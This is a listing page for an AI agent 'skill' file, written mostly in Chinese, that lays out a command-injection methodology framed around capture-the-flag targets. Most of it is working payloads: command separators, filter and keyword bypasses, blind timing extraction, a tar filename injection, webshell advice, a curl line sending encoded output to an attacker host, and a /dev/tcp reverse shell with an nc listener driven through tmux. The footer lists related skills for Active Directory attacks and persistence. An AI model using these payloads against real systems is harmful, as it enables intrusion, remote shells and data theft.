command-injection-methodology
$
npx mdskill add wgpsec/AboutSecurity/command-injection-methodologyDetects and exploits command injection via shell bypass techniques.
- Identifies injection points in network tools and shell parameters.
- Tests payloads using separators, encoding, and filter evasion.
- Extracts hidden data through blind injection and timing attacks.
- Generates payloads to bypass output filters and retrieve flags.
SKILL.md
.github/skills/command-injection-methodologyView on GitHub ↗
---
name: command-injection-methodology
description: "OS命令注入的检测、利用、盲注和输出绕过。当目标有Ping/Traceroute/DNS查询等网络工具、参数传入shell命令时使用。包含分隔符大全、输出过滤绕过策略、正则匹配伪造技巧"
metadata:
tags: "command injection,command_injection,rce,os-injection,os injection,ping,blind,output-filter,parser-bypass,命令注入,命令执行,blind command,time-based,带外,OOB"
category: "exploit"
---
# 命令注入完整方法论
## Phase 1: 注入点发现
常见存在命令注入的功能: Ping工具、DNS查询、文件操作、网络诊断、系统信息页面
常见参数名: `ip`, `host`, `cmd`, `command`, `exec`, `ping`, `query`, `domain`, `address`, `ip_address`
## ⛔ 深入参考(遇到绕过时必读)
- 空格/关键字/编码绕过大全、Windows 注入、输出过滤绕过 → [references/injection-bypass.md](references/injection-bypass.md)
## Phase 2: 基础注入测试(按优先级)
**使用 `response_diff` 对比正常/注入请求的响应差异,快速定位注入点**
1. 分号: `127.0.0.1;id`
2. 换行: `%0aid`(**最可靠,通常不被过滤**)
3. 管道: `127.0.0.1|id`
4. AND/OR: `127.0.0.1 && id` / `127.0.0.1 || id`
5. 替换: `` 127.0.0.1`id` `` / `127.0.0.1$(id)`
## Phase 3: 过滤字符检测
逐个测试 `< > | & ; $ \` ( ) { } [ ]`:
- `|` 被过滤 → 用 `;` 或 `%0a`
- `;` 被过滤 → 用 `%0a` 换行
- `>` 被过滤 → 不能重定向,用其他方式外带
## Phase 4: 输出被过滤时的外泄(核心)
`%0a` 放在最前面,让原命令失败,只有你的 echo 输出:
```
ip_address=%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"
```
→ 更多外泄方法(写文件、时间盲注)→ [references/injection-bypass.md](references/injection-bypass.md)
### 盲注提取技术
- Linux 大小写敏感,路径必须全部尝试大小写组合
- 逐字符提取:`cut -c N`、awk、substr 逐字符循环提取
- 自动化脚本化:`if [ $(cut -c1 /flag) = 'F' ]; then sleep 2; fi` — 条件 sleep 布尔盲注
- 工具链:`127.0.0.1;cat /flag` 具体 payload 命令拼接
- 使用 bash 脚本或 python 脚本自动化提取
## Phase 5: Flag 路径枚举
⛔ 固定路径失败时必须用 `find` 系统搜索!
```
/flag, /FLAG, /flag.txt, /FLAG.txt, /app/flag.txt
%0afind / -name "*flag*" -o -name "*FLAG*" 2>/dev/null
env | grep -i flag # 环境变量
cat /Dockerfile # 确认路径
```
## Phase 6: 高级绕过速查
- 空格: `${IFS}`, `%09`, `{cat,/flag}`
- 关键字: `c'a't /flag`, `tac /flag`, `/bin/ca? /flag`
- 编码: `echo Y2F0IC9mbGFn | base64 -d | sh`
- 通配符: `cat /fla*`, `cat /FL?G.txt`
→ 完整绕过清单(含 Windows)→ [references/injection-bypass.md](references/injection-bypass.md)
## RCE 后的交互策略
拿到命令执行后,优先选择**无需持续交互**的方式:
| 优先级 | 方式 | 适用场景 |
|--------|------|----------|
| 🥇 | 直接命令输出(`; cat /flag`) | 有回显的注入 |
| 🥈 | Webshell(写 php/jsp 文件,通过 HTTP 交互) | Web 目标、有写权限 |
| 🥉 | HTTP 回传(`curl http://attacker/?d=$(cmd\|base64)`) | 盲 RCE |
| 4 | 反弹 shell → `interactive_session` | 需要持续交互(su/sudo/文件系统探索) |
如果确实需要反弹 shell(比如要提权、要 su 切用户、要进入数据库),使用 `interactive_session` 工具:
```
1. interactive_session action="start" session_name="listener" command="nc -lvp 4444" wait=2
2. 通过注入触发反弹: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
3. interactive_session action="read" session_name="listener" — 确认连接
4. interactive_session action="send" session_name="listener" command="id" — 执行命令
5. interactive_session action="send" session_name="listener" command="cat /flag.txt"
6. interactive_session action="close" session_name="listener" — 完成后关闭
```
### 降级方案:Bash + tmux 手动交互
如果 `interactive_session` 工具不可用(MCP 版本不支持等),用 Bash 直接操作 tmux 实现相同效果:
```bash
# 1. 启动 tmux 会话运行监听
tmux new-session -d -s listener -x 200 -y 50 "nc -lvp 4444"
# 2. 触发反弹 shell(通过注入或其他方式)
# 3. 读取屏幕内容(查看是否有回连)
tmux capture-pane -t listener -p -S -100
# 4. 发送命令
tmux send-keys -t listener "id" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 5. 继续交互
tmux send-keys -t listener "cat /flag.txt" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 6. 发送 Ctrl-C(中断当前命令)
tmux send-keys -t listener C-c
# 7. 关闭会话
tmux kill-session -t listener
```
核心三板斧:`tmux new-session -d`(启动)、`tmux send-keys`(发命令)、`tmux capture-pane -p`(读屏幕)。这套模式适用于**任何交互式程序**——不只是 nc,SSH、mysql、redis-cli、python REPL 等都一样。
---
## CTF 命令注入技巧补充
### Bash 花括号展开(空格被过滤)
空格、`$`、`|` 等被过滤时,用花括号展开替代:
```bash
{ls,-la,/} # 等价于: ls -la /
{cat,/flag.txt} # 等价于: cat /flag.txt
```
### Tar 文件名注入
当服务器解压 tar 并显示文件名时,文件名中的 shell 元字符会被执行:
```bash
touch 'name; cat /flag #' && tar cf exploit.tar *
```
### 正则缺少 `$` 锚点绕过
`preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $ip)` 缺少 `$` 结尾锚点,追加命令即可:
```
127.0.0.1; cat /flag.txt
```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|